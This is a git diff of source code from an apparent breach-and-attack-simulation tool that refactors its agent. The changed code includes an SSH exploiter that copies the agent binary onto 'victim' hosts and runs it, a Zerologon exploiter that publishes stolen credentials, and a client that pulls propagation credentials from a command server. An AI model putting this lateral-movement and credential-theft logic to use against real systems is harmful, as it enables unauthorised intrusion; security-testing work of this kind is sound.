ssh = self.exploit_with_login_creds(port)
except FailedExploitationError:
raise FailedExploitationError("Exploiter SSHExploiter is giving up...")
return ssh
def _propagate(self, ssh: paramiko.SSHClient):
agent_binary_file_object = self._get_agent_binary(ssh)
if agent_binary_file_object is None:
raise RuntimeError("Can't find suitable monkey executable for host {self.host}")
if self._is_interrupted():
self._set_interrupted()
raise RuntimeError("Propagation was interrupted")
monkey_path_on_victim = get_agent_dst_path(self.host)
status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim)
self.telemetry_messenger.send_telemetry(
T1105Telem(
status,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_path_on_victim,
)
)
if status == ScanStatus.SCANNED:
raise FailedExploitationError(self.exploit_result.error_message)
try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
cmdline += " > /dev/null 2>&1 &"
timestamp = time()
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
monkey_path_on_victim,
self.host,
cmdline,
)
self.exploit_result.propagation_success = True
self._publish_propagation_event(timestamp, True)
self.add_executed_cmd(cmdline)
except Exception as exc:
error_message = f"Error running monkey on victim {self.host}: ({exc})"
self._publish_propagation_event(timestamp, False, error_message=error_message)
raise FailedExploitationError(error_message)
def _is_port_open(self, ip: IPv4Address, port: int) -> bool:
is_open, _ = check_tcp_port(ip, port)
status = PortStatus.OPEN if is_open else PortStatus.CLOSED
self.agent_event_queue.publish(
TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status})
)
return is_open
def _get_ssh_port(self) -> int:
port = SSH_PORT
# if ssh banner found on different port, use that port.
@ -156,28 +288,9 @@ class SSHExploiter(HostExploiter):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
port = int(servkey.replace("tcp-", ""))
is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
return port
logger.info(self.exploit_result.error_message)
return self.exploit_result
try:
ssh = self.exploit_with_ssh_keys(port)
except FailedExploitationError:
try:
ssh = self.exploit_with_login_creds(port)
except FailedExploitationError:
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
if not self.host.os.get("type"):
def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool:
try:
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
uname_os = stdout.read().lower().strip().decode()
@ -189,34 +302,33 @@ class SSHExploiter(HostExploiter):
if not uname_os:
logger.error(self.exploit_result.error_message)
return self.exploit_result
return False
except Exception as exc:
self.exploit_result.error_message = (
f"Error running uname os command on victim {self.host}: ({exc})"
)
logger.error(f"Error running uname os command on victim {self.host}: ({exc})")
return False
return True
logger.error(self.exploit_result.error_message)
return self.exploit_result
def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]:
if not self.host.os.get("type") and not self._get_victim_os(ssh):
return None
try:
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
self.exploit_result.os
)
except RetrievalError:
return None
if not agent_binary_file_object:
self.exploit_result.error_message = (
f"Can't find suitable monkey executable for host {self.host}"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
monkey_path_on_victim = get_agent_dst_path(self.host)
return agent_binary_file_object
def _upload_agent_binary(
self,
ssh: paramiko.SSHClient,
agent_binary_file_object: io.BytesIO,
monkey_path_on_victim: PurePath,
) -> ScanStatus:
try:
timestamp = time()
with ssh.open_sftp() as ftp:
ftp.putfo(
agent_binary_file_object,
@ -226,51 +338,12 @@ class SSHExploiter(HostExploiter):
)
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
status = ScanStatus.USED
return ScanStatus.USED
except Exception as exc:
self.exploit_result.error_message = (
f"Error uploading file into victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
status = ScanStatus.SCANNED
self.telemetry_messenger.send_telemetry(
T1105Telem(
status,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_path_on_victim,
)
)
if status == ScanStatus.SCANNED:
return self.exploit_result
try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
monkey_path_on_victim,
self.host,
cmdline,
)
self.exploit_result.propagation_success = True
ssh.close()
self.add_executed_cmd(cmdline)
return self.exploit_result
except Exception as exc:
self.exploit_result.error_message = (
f"Error running monkey on victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
error_message = f"Error uploading file into victim {self.host}: ({exc})"
self._publish_propagation_event(timestamp, False, error_message=error_message)
self.exploit_result.error_message = error_message
return ScanStatus.SCANNED
def _set_executable_bit_on_agent_binary(
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath

View File

@ -3,6 +3,7 @@ import urllib.error
import urllib.parse
import urllib.request
from threading import Lock
from typing import Optional, Tuple
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
@ -28,7 +29,7 @@ class HTTPTools(object):
@staticmethod
def create_locked_transfer(
host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None
) -> LockedHTTPServer:
) -> Tuple[Optional[str], Optional[LockedHTTPServer]]:
"""
Create http server for file transfer with a lock
:param host: Variable with target's information

View File

@ -18,6 +18,7 @@ from impacket.dcerpc.v5.dtypes import NULL
from common.agent_events import CredentialsStolenEvent
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.credentials import Credentials, LMHash, NTHash, Username
from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.wmi_tools import WmiTools
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
@ -32,9 +33,6 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__)
ZEROLOGON_EXPLOITER_TAG = "zerologon-exploiter"
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
ZEROLOGON_EVENT_TAGS = frozenset(
{
@ -315,7 +313,7 @@ class ZerologonExploiter(HostExploiter):
tags=ZEROLOGON_EVENT_TAGS,
stolen_credentials=extracted_credentials,
)
self.event_queue.publish(credentials_stolen_event)
self.agent_event_queue.publish(credentials_stolen_event)
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> Optional[str]:
if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
@ -383,7 +381,7 @@ class ZerologonExploiter(HostExploiter):
return True
except Exception as e:
logger.info(f"Exception occured: {str(e)}")
logger.info(f"Exception occurred: {str(e)}")
finally:
info = output_captor.get_captured_stdout_output()

View File

@ -1,23 +1,11 @@
import abc
from typing import Optional, Sequence
from uuid import UUID
from typing import Sequence
from common.agent_configuration import AgentConfiguration
from common.credentials import Credentials
class IControlChannel(metaclass=abc.ABCMeta):
@abc.abstractmethod
def register_agent(self, parent_id: Optional[UUID] = None):
"""
Registers this agent with the Island when this agent starts
:param parent: The ID of the parent that spawned this agent, or None if this agent has no
parent
:raises IslandCommunicationError: If the agent cannot be successfully registered
"""
pass
@abc.abstractmethod
def should_agent_stop(self) -> bool:
"""

View File

@ -2,10 +2,8 @@ from .plugin_type import PluginType
from .i_puppet import (
IPuppet,
ExploiterResultData,
PingScanData,
PortScanData,
FingerprintData,
PortStatus,
PostBreachData,
UnknownPluginError,
)

View File

@ -1,7 +1,9 @@
from abc import abstractmethod
from typing import Dict
from . import FingerprintData, PingScanData, PortScanData
from common.types import PingScanData
from . import FingerprintData, PortScanData
class IFingerprinter:

View File

@ -1,21 +1,16 @@
import abc
import threading
from dataclasses import dataclass, field
from enum import Enum
from typing import Dict, Iterable, List, Mapping, Optional, Sequence, Tuple
from collections import namedtuple
from dataclasses import dataclass
from typing import Dict, Iterable, Mapping, Optional, Sequence
from common import OperatingSystem
from common.credentials import Credentials
from common.types import PingScanData
from infection_monkey.model import VictimHost
from . import PluginType
class PortStatus(Enum):
OPEN = 1
CLOSED = 2
class UnknownPluginError(Exception):
pass
@ -26,37 +21,14 @@ class ExploiterResultData:
propagation_success: bool = False
interrupted: bool = False
os: str = ""
info: Mapping = field(default_factory=lambda: {})
attempts: Iterable = field(default_factory=lambda: [])
info: Optional[Mapping] = None
attempts: Optional[Iterable] = None
error_message: str = ""
@dataclass(frozen=True)
class FingerprintData:
os_type: Optional[OperatingSystem]
os_version: str
services: Mapping = field(default_factory=lambda: {})
@dataclass(frozen=True)
class PingScanData:
response_received: bool
os: Optional[OperatingSystem]
@dataclass(frozen=True)
class PortScanData:
port: int
status: PortStatus
banner: str
service: str
@dataclass(frozen=True)
class PostBreachData:
display_name: str
command: str
result: Tuple[str, bool]
PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"])
FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"])
PostBreachData = namedtuple("PostBreachData", ["display_name", "command", "result"])
class IPuppet(metaclass=abc.ABCMeta):
@ -105,8 +77,8 @@ class IPuppet(metaclass=abc.ABCMeta):
@abc.abstractmethod
def scan_tcp_ports(
self, host: str, ports: List[int], timeout: float = 3
) -> Mapping[int, PortScanData]:
self, host: str, ports: Sequence[int], timeout: float = 3
) -> Dict[int, PortScanData]:
"""
Scans a list of TCP ports on a remote host
@ -114,7 +86,7 @@ class IPuppet(metaclass=abc.ABCMeta):
:param int ports: List of TCP port numbers to scan
:param float timeout: The maximum amount of time (in seconds) to wait for a response
:return: The data collected by scanning the provided host:ports combination
:rtype: Mapping[int, PortScanData]
:rtype: Dict[int, PortScanData]
"""
@abc.abstractmethod
@ -157,6 +129,7 @@ class IPuppet(metaclass=abc.ABCMeta):
:param str name: The name of the exploiter to run
:param VictimHost host: A VictimHost object representing the target to exploit
:param int current_depth: The current propagation depth
:param servers: List of socket addresses for victim to connect back to
:param Dict options: A dictionary containing options that modify the behavior of the
exploiter
:param threading.Event interrupt: A threading.Event object that signals the exploit to stop

View File

@ -1,13 +1,22 @@
import functools
import json
import logging
from pprint import pformat
from typing import List, Sequence
import requests
from common import OperatingSystem
from common.agent_event_serializers import AgentEventSerializerRegistry, JSONSerializable
from common import AgentRegistrationData, AgentSignals, OperatingSystem
from common.agent_configuration import AgentConfiguration
from common.agent_event_serializers import AgentEventSerializerRegistry
from common.agent_events import AbstractAgentEvent
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.common_consts.timeouts import (
LONG_REQUEST_TIMEOUT,
MEDIUM_REQUEST_TIMEOUT,
SHORT_REQUEST_TIMEOUT,
)
from common.credentials import Credentials
from common.types import AgentID, JSONSerializable, SocketAddress
from . import (
AbstractIslandAPIClientFactory,
@ -27,7 +36,9 @@ def handle_island_errors(fn):
def decorated(*args, **kwargs):
try:
return fn(*args, **kwargs)
except requests.exceptions.ConnectionError as err:
except IslandAPIError as err:
raise err
except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects) as err:
raise IslandAPIConnectionError(err)
except requests.exceptions.HTTPError as err:
if 400 <= err.response.status_code < 500:
@ -38,14 +49,23 @@ def handle_island_errors(fn):
raise IslandAPIError(err)
except TimeoutError as err:
raise IslandAPITimeoutError(err)
except IslandAPIError as err:
raise err
except Exception as err:
raise IslandAPIError(err)
return decorated
def convert_json_error_to_island_api_error(fn):
@functools.wraps(fn)
def wrapper(*args, **kwargs):
try:
return fn(*args, **kwargs)
except (requests.JSONDecodeError, json.JSONDecodeError) as err:
raise IslandAPIRequestFailedError(err)
return wrapper
class HTTPIslandAPIClient(IIslandAPIClient):
"""
A client for the Island's HTTP API
@ -60,7 +80,7 @@ class HTTPIslandAPIClient(IIslandAPIClient):
@handle_island_errors
def connect(
self,
island_server: str,
island_server: SocketAddress,
):
response = requests.get( # noqa: DUO123
f"https://{island_server}/api?action=is-up",
@ -69,13 +89,12 @@ class HTTPIslandAPIClient(IIslandAPIClient):
)
response.raise_for_status()
self._island_server = island_server
self._api_url = f"https://{self._island_server}/api"
self._api_url = f"https://{island_server}/api"
@handle_island_errors
def send_log(self, log_contents: str):
response = requests.post( # noqa: DUO123
f"{self._api_url}/log",
def send_log(self, agent_id: AgentID, log_contents: str):
response = requests.put( # noqa: DUO123
f"{self._api_url}/agent-logs/{agent_id}",
json=log_contents,
verify=False,
timeout=MEDIUM_REQUEST_TIMEOUT,
@ -116,6 +135,45 @@ class HTTPIslandAPIClient(IIslandAPIClient):
response.raise_for_status()
@handle_island_errors
def register_agent(self, agent_registration_data: AgentRegistrationData):
url = f"{self._api_url}/agents"
response = requests.post( # noqa: DUO123
url,
json=agent_registration_data.dict(simplify=True),
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
@handle_island_errors
@convert_json_error_to_island_api_error
def get_config(self) -> AgentConfiguration:
response = requests.get( # noqa: DUO123
f"{self._api_url}/agent-configuration",
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
config_dict = response.json()
logger.debug(f"Received configuration:\n{pformat(config_dict)}")
return AgentConfiguration(**config_dict)
@handle_island_errors
@convert_json_error_to_island_api_error
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
response = requests.get( # noqa: DUO123
f"{self._api_url}/propagation-credentials",
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
return [Credentials(**credentials) for credentials in response.json()]
def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSerializable:
serialized_events: List[JSONSerializable] = []
@ -128,6 +186,18 @@ class HTTPIslandAPIClient(IIslandAPIClient):
return serialized_events
@handle_island_errors
@convert_json_error_to_island_api_error
def get_agent_signals(self, agent_id: str) -> AgentSignals:
url = f"{self._api_url}/agent-signals/{agent_id}"
response = requests.get( # noqa: DUO123
url,
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
return AgentSignals(**response.json())
class HTTPIslandAPIClientFactory(AbstractIslandAPIClientFactory):
def __init__(

View File

@ -1,8 +1,11 @@
from abc import ABC, abstractmethod
from typing import Sequence
from common import OperatingSystem
from common import AgentRegistrationData, AgentSignals, OperatingSystem
from common.agent_configuration import AgentConfiguration
from common.agent_events import AbstractAgentEvent
from common.credentials import Credentials
from common.types import AgentID, SocketAddress
class IIslandAPIClient(ABC):
@ -11,9 +14,9 @@ class IIslandAPIClient(ABC):
"""
@abstractmethod
def connect(self, island_server: str):
def connect(self, island_server: SocketAddress):
"""
Connectto the island's API
Connect to the island's API
:param island_server: The socket address of the API
:raises IslandAPIConnectionError: If the client cannot successfully connect to the island
@ -27,10 +30,11 @@ class IIslandAPIClient(ABC):
"""
@abstractmethod
def send_log(self, log_contents: str):
def send_log(self, agent_id: AgentID, log_contents: str):
"""
Send the contents of the agent's log to the island
:param agent_id: The ID of the agent whose logs are being sent
:param log_contents: The contents of the agent's log
:raises IslandAPIConnectionError: If the client cannot successfully connect to the island
:raises IslandAPIRequestError: If an error occurs while attempting to connect to the
@ -91,3 +95,53 @@ class IIslandAPIClient(ABC):
:raises IslandAPIError: If an unexpected error occurs while attempting to send events to
the island
"""
@abstractmethod
def register_agent(self, agent_registration_data: AgentRegistrationData):
"""
Register an agent with the Island
:param agent_registration_data: Information about the agent to register
with the island
:raises IslandAPIConnectionError: If the client could not connect to the island
:raises IslandAPIRequestError: If there was a problem with the client request
:raises IslandAPIRequestFailedError: If the server experienced an error
:raises IslandAPITimeoutError: If the command timed out
"""
@abstractmethod
def get_config(self) -> AgentConfiguration:
"""
Get agent configuration from the island
:raises IslandAPIConnectionError: If the client could not connect to the island
:raises IslandAPIRequestError: If there was a problem with the client request
:raises IslandAPIRequestFailedError: If the server experienced an error
:raises IslandAPITimeoutError: If the command timed out
:return: Agent configuration
"""
@abstractmethod
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
"""
Get credentials from the island
:raises IslandAPIConnectionError: If the client could not connect to the island
:raises IslandAPIRequestError: If there was a problem with the client request
:raises IslandAPIRequestFailedError: If the server experienced an error
:raises IslandAPITimeoutError: If the command timed out
:return: Credentials
"""
@abstractmethod
def get_agent_signals(self, agent_id: str) -> AgentSignals:
"""
Gets an agent's signals from the island
:param agent_id: ID of the agent whose signals should be retrieved
:raises IslandAPIConnectionError: If the client could not connect to the island
:raises IslandAPIRequestError: If there was a problem with the client request
:raises IslandAPIRequestFailedError: If the server experienced an error
:raises IslandAPITimeoutError: If the command timed out
:return: The relevant agent's signals
"""

View File

@ -1,127 +1,48 @@
import json
import logging
from pprint import pformat
from typing import Optional, Sequence
from uuid import UUID
from functools import wraps
from typing import Sequence
import requests
from urllib3 import disable_warnings
from common import AgentRegistrationData
from common.agent_configuration import AgentConfiguration
from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
from common.credentials import Credentials
from common.network.network_utils import get_network_interfaces
from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError
from infection_monkey.utils import agent_process
from infection_monkey.utils.ids import get_agent_id, get_machine_id
from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIError
disable_warnings() # noqa: DUO131
logger = logging.getLogger(__name__)
def handle_island_api_errors(func):
@wraps(func)
def wrapper(*args, **kwargs):
try:
return func(*args, **kwargs)
except IslandAPIError as err:
raise IslandCommunicationError(err)
return wrapper
class ControlChannel(IControlChannel):
def __init__(self, server: str, agent_id: str):
def __init__(self, server: str, agent_id: str, api_client: IIslandAPIClient):
self._agent_id = agent_id
self._control_channel_server = server
self._island_api_client = api_client
def register_agent(self, parent: Optional[UUID] = None):
agent_registration_data = AgentRegistrationData(
id=get_agent_id(),
machine_hardware_id=get_machine_id(),
start_time=agent_process.get_start_time(),
# parent_id=parent,
parent_id=None, # None for now, until we change GUID to UUID
cc_server=self._control_channel_server,
network_interfaces=get_network_interfaces(),
)
try:
url = f"https://{self._control_channel_server}/api/agents"
response = requests.post( # noqa: DUO123
url,
json=agent_registration_data.dict(simplify=True),
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
except (
requests.exceptions.ConnectionError,
requests.exceptions.Timeout,
requests.exceptions.TooManyRedirects,
requests.exceptions.HTTPError,
) as e:
raise IslandCommunicationError(e)
@handle_island_api_errors
def should_agent_stop(self) -> bool:
if not self._control_channel_server:
logger.error("Agent should stop because it can't connect to the C&C server.")
return True
try:
url = (
f"https://{self._control_channel_server}/api/monkey-control"
f"/needs-to-stop/{self._agent_id}"
)
response = requests.get( # noqa: DUO123
url,
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
json_response = json.loads(response.content.decode())
return json_response["stop_agent"]
except (
json.JSONDecodeError,
requests.exceptions.ConnectionError,
requests.exceptions.Timeout,
requests.exceptions.TooManyRedirects,
requests.exceptions.HTTPError,
) as e:
raise IslandCommunicationError(e)
agent_signals = self._island_api_client.get_agent_signals(self._agent_id)
return agent_signals.terminate is not None
@handle_island_api_errors
def get_config(self) -> AgentConfiguration:
try:
response = requests.get( # noqa: DUO123
f"https://{self._control_channel_server}/api/agent-configuration",
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
config_dict = json.loads(response.text)
logger.debug(f"Received configuration:\n{pformat(config_dict)}")
return AgentConfiguration(**config_dict)
except (
json.JSONDecodeError,
requests.exceptions.ConnectionError,
requests.exceptions.Timeout,
requests.exceptions.TooManyRedirects,
requests.exceptions.HTTPError,
) as e:
raise IslandCommunicationError(e)
return self._island_api_client.get_config()
@handle_island_api_errors
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
propagation_credentials_url = (
f"https://{self._control_channel_server}/api/propagation-credentials"
)
try:
response = requests.get( # noqa: DUO123
propagation_credentials_url,
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
return [Credentials(**credentials) for credentials in response.json()]
except (
requests.exceptions.JSONDecodeError,
requests.exceptions.ConnectionError,
requests.exceptions.Timeout,
requests.exceptions.TooManyRedirects,
requests.exceptions.HTTPError,
) as e:
raise IslandCommunicationError(e)
return self._island_api_client.get_credentials_for_propagation()

View File

@ -1,14 +1,14 @@
from dataclasses import dataclass
from typing import Dict
from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData
from common.types import NetworkPort, PingScanData
from infection_monkey.i_puppet import FingerprintData, PortScanData
Port = int
FingerprinterName = str
@dataclass
class IPScanResults:
ping_scan_data: PingScanData
port_scan_data: Dict[Port, PortScanData]
port_scan_data: Dict[NetworkPort, PortScanData]
fingerprint_data: Dict[FingerprinterName, FingerprintData]

View File

@ -8,15 +8,9 @@ from typing import Callable, Dict, Sequence
from common.agent_configuration.agent_sub_configurations import (
NetworkScanConfiguration,
PluginConfiguration,
ScanTargetConfiguration,
)
from infection_monkey.i_puppet import (
FingerprintData,
IPuppet,
PingScanData,
PortScanData,
PortStatus,
)
from common.types import PingScanData, PortStatus
from infection_monkey.i_puppet import FingerprintData, IPuppet, PortScanData
from infection_monkey.network import NetworkAddress
from infection_monkey.utils.threading import interruptible_iter, run_worker_threads
@ -35,7 +29,7 @@ class IPScanner:
def scan(
self,
addresses_to_scan: Sequence[NetworkAddress],
options: ScanTargetConfiguration,
options: NetworkScanConfiguration,
results_callback: Callback,
stop: Event,
):

View File

@ -2,7 +2,7 @@ import logging
from ipaddress import IPv4Interface
from queue import Queue
from threading import Event
from typing import Dict, List, Sequence
from typing import List, Mapping, Sequence
from common.agent_configuration import (
ExploitationConfiguration,
@ -10,13 +10,8 @@ from common.agent_configuration import (
PropagationConfiguration,
ScanTargetConfiguration,
)
from infection_monkey.i_puppet import (
ExploiterResultData,
FingerprintData,
PingScanData,
PortScanData,
PortStatus,
)
from common.types import NetworkPort, PingScanData, PortStatus
from infection_monkey.i_puppet import ExploiterResultData, FingerprintData, PortScanData
from infection_monkey.model import VictimHost, VictimHostFactory
from infection_monkey.network import NetworkAddress
from infection_monkey.network_scanning.scan_target_generator import compile_scan_target_list
@ -26,6 +21,7 @@ from infection_monkey.telemetry.scan_telem import ScanTelem
from infection_monkey.utils.threading import create_daemon_thread
from . import Exploiter, IPScanner, IPScanResults
from .ip_scan_results import FingerprinterName
logger = logging.getLogger()
@ -120,14 +116,14 @@ class Propagator:
ranges_to_scan = target_config.subnets
inaccessible_subnets = target_config.inaccessible_subnets
blocklisted_ips = target_config.blocked_ips
enable_local_network_scan = target_config.local_network_scan
scan_my_networks = target_config.scan_my_networks
return compile_scan_target_list(
self._local_network_interfaces,
ranges_to_scan,
inaccessible_subnets,
blocklisted_ips,
enable_local_network_scan,
scan_my_networks,
)
def _process_scan_results(self, address: NetworkAddress, scan_results: IPScanResults):
@ -149,16 +145,21 @@ class Propagator:
victim_host.os["type"] = ping_scan_data.os
@staticmethod
def _process_tcp_scan_results(victim_host: VictimHost, port_scan_data: PortScanData):
for psd in filter(lambda psd: psd.status == PortStatus.OPEN, port_scan_data.values()):
def _process_tcp_scan_results(
victim_host: VictimHost, port_scan_data: Mapping[NetworkPort, PortScanData]
):
for psd in filter(
lambda scan_data: scan_data.status == PortStatus.OPEN, port_scan_data.values()
):
victim_host.services[psd.service] = {}
victim_host.services[psd.service]["display_name"] = "unknown(TCP)"
victim_host.services[psd.service]["port"] = psd.port
if psd.banner is not None:
victim_host.services[psd.service]["banner"] = psd.banner
@staticmethod
def _process_fingerprinter_results(
victim_host: VictimHost, fingerprint_data: Dict[str, FingerprintData]
victim_host: VictimHost, fingerprint_data: Mapping[FingerprinterName, FingerprintData]
):
for fd in fingerprint_data.values():
# TODO: This logic preserves the existing behavior prior to introducing IMaster and
@ -168,7 +169,7 @@ class Propagator:
if fd.os_type is not None:
victim_host.os["type"] = fd.os_type
if ("version" not in victim_host.os) and (fd.os_version):
if ("version" not in victim_host.os) and (fd.os_version is not None):
victim_host.os["version"] = fd.os_version
for service, details in fd.services.items():

View File

@ -10,7 +10,7 @@ class VictimHost(object):
self.os: Dict[str, Any] = {}
self.services: Dict[str, Any] = {}
self.icmp = False
self.default_server = ""
self.default_server = None
def as_dict(self):
return self.__dict__

View File

@ -3,9 +3,9 @@ import logging
import os
import subprocess
import sys
from ipaddress import IPv4Address, IPv4Interface
from ipaddress import IPv4Interface
from pathlib import Path, WindowsPath
from typing import List, Mapping, Optional, Tuple
from typing import List, Optional, Sequence, Tuple
from pubsub.core import Publisher
@ -13,17 +13,19 @@ from common.agent_event_serializers import (
AgentEventSerializerRegistry,
register_common_agent_event_serializers,
)
from common.agent_events import CredentialsStolenEvent
from common.agent_events import CredentialsStolenEvent, PropagationEvent
from common.agent_registration_data import AgentRegistrationData
from common.event_queue import IAgentEventQueue, PyPubSubAgentEventQueue
from common.network.network_utils import (
address_to_ip_port,
get_my_ip_addresses,
get_network_interfaces,
)
from common.network.network_utils import get_my_ip_addresses, get_network_interfaces
from common.types import SocketAddress
from common.utils.argparse_types import positive_int
from common.utils.attack_utils import ScanStatus, UsageEnum
from common.version import get_version
from infection_monkey.agent_event_forwarder import AgentEventForwarder
from infection_monkey.agent_event_handlers import (
AgentEventForwarder,
add_stolen_credentials_to_propagation_credentials_repository,
notify_relay_on_propagation,
)
from infection_monkey.config import GUID
from infection_monkey.control import ControlClient
from infection_monkey.credential_collectors import (
@ -33,7 +35,6 @@ from infection_monkey.credential_collectors import (
from infection_monkey.credential_repository import (
AggregatingPropagationCredentialsRepository,
IPropagationCredentialsRepository,
add_credentials_from_event_to_propagation_credentials_repository,
)
from infection_monkey.exploit import CachingAgentBinaryRepository, ExploiterWrapper
from infection_monkey.exploit.hadoop import HadoopExploiter
@ -53,6 +54,7 @@ from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.network.relay import TCPRelay
from infection_monkey.network.relay.utils import (
IslandAPISearchResults,
find_available_island_apis,
notify_disconnect,
send_remove_from_waitlist_control_message_to_relays,
@ -81,16 +83,15 @@ from infection_monkey.puppet.puppet import Puppet
from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import (
ExploitInterceptingTelemetryMessenger,
)
from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import (
LegacyTelemetryMessengerAdapter,
)
from infection_monkey.telemetry.state_telem import StateTelem
from infection_monkey.utils import agent_process
from infection_monkey.utils.aws_environment_check import run_aws_environment_check
from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.file_utils import mark_file_for_deletion_on_windows
from infection_monkey.utils.ids import get_agent_id, get_machine_id
from infection_monkey.utils.monkey_dir import (
create_monkey_dir,
get_monkey_dir_path,
@ -110,21 +111,25 @@ class InfectionMonkey:
self._singleton = SystemSingleton()
self._opts = self._get_arguments(args)
self._agent_id = get_agent_id()
self._agent_event_serializer_registry = self._setup_agent_event_serializers()
server, self._island_api_client = self._connect_to_island_api()
# TODO: `address_to_port()` should return the port as an integer.
self._cmd_island_ip, self._cmd_island_port = address_to_ip_port(server)
self._cmd_island_port = int(self._cmd_island_port)
self._island_address, self._island_api_client = self._connect_to_island_api()
self._cmd_island_ip = self._island_address.ip
self._cmd_island_port = self._island_address.port
self._control_client = ControlClient(
server_address=server, island_api_client=self._island_api_client
server_address=self._island_address, island_api_client=self._island_api_client
)
self._control_channel = ControlChannel(
str(self._island_address), self._agent_id, self._island_api_client
)
self._register_agent()
# TODO Refactor the telemetry messengers to accept control client
# and remove control_client_object
ControlClient.control_client_object = self._control_client
self._control_channel = None
self._telemetry_messenger = LegacyTelemetryMessengerAdapter()
self._current_depth = self._opts.depth
self._master = None
@ -134,7 +139,11 @@ class InfectionMonkey:
def _get_arguments(args):
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument("-p", "--parent")
arg_parser.add_argument("-s", "--servers", type=lambda arg: arg.strip().split(","))
arg_parser.add_argument(
"-s",
"--servers",
type=lambda arg: [SocketAddress.from_string(s) for s in arg.strip().split(",")],
)
arg_parser.add_argument("-d", "--depth", type=positive_int, default=0)
opts = arg_parser.parse_args(args)
InfectionMonkey._log_arguments(opts)
@ -142,8 +151,8 @@ class InfectionMonkey:
return opts
# TODO: By the time we finish 2292, _connect_to_island_api() may not need to return `server`
def _connect_to_island_api(self) -> Tuple[Optional[str], Optional[IIslandAPIClient]]:
logger.debug(f"Trying to wake up with servers: {', '.join(self._opts.servers)}")
def _connect_to_island_api(self) -> Tuple[Optional[SocketAddress], Optional[IIslandAPIClient]]:
logger.debug(f"Trying to wake up with servers: {', '.join(map(str, self._opts.servers))}")
server_clients = find_available_island_apis(
self._opts.servers, HTTPIslandAPIClientFactory(self._agent_event_serializer_registry)
)
@ -154,7 +163,8 @@ class InfectionMonkey:
logger.info(f"Successfully connected to the island via {server}")
else:
raise Exception(
f"Failed to connect to the island via any known servers: {self._opts.servers}"
"Failed to connect to the island via any known servers: "
f"[{', '.join(map(str, self._opts.servers))}]"
)
# NOTE: Since we pass the address for each of our interfaces to the exploited
@ -165,18 +175,30 @@ class InfectionMonkey:
return server, island_api_client
def _register_agent(self):
agent_registration_data = AgentRegistrationData(
id=self._agent_id,
machine_hardware_id=get_machine_id(),
start_time=agent_process.get_start_time(),
